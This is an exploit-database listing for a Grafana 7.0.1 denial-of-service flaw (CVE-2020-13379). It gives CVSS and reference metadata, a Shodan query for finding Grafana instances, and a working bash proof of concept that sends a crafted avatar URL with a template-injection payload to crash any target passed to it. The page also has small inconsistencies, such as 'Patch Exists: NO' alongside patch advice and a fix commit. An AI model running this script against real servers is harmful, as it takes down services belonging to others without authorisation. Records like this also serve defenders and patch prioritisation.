header-logo
Suggest Exploit
vendor:
Grafana
by:
mostwanted002
8.2
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Grafana
Affected Version From: 3.0.1
Affected Version To: 7.0.1
Patch Exists: NO
Related CWE: CVE-2020-13379
CPE: a:grafana:grafana:7.0.1
Metasploit: https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2020-13379/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2020-13379/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2020-13379/, https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2020-13379/
Other Scripts:
Tags: cve,cve2020,grafana,ssrf
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Nuclei References: https://github.com/advisories/GHSA-wc9w-wvq2-ffm9, https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192, http://www.openwall.com/lists/oss-security/2020/06/03/4, https://nvd.nist.gov/vuln/detail/CVE-2020-13379, http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html
Nuclei Metadata: {'max-request': 1, 'shodan-query': 'title:"Grafana"', 'verified': True, 'vendor': 'grafana', 'product': 'grafana'}
Platforms Tested: Linux
2020

Grafana 7.0.1 – Denial of Service (PoC)

This script exploits a Denial of Service vulnerability in Grafana version 7.0.1. By sending a specially crafted request to the target, it causes the Grafana server to crash or become unresponsive, resulting in a denial of service condition.

Mitigation:

Apply the vendor-supplied patch or upgrade to a version that is not affected by this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi

Navigation

Suggest Exploit

Services By CQR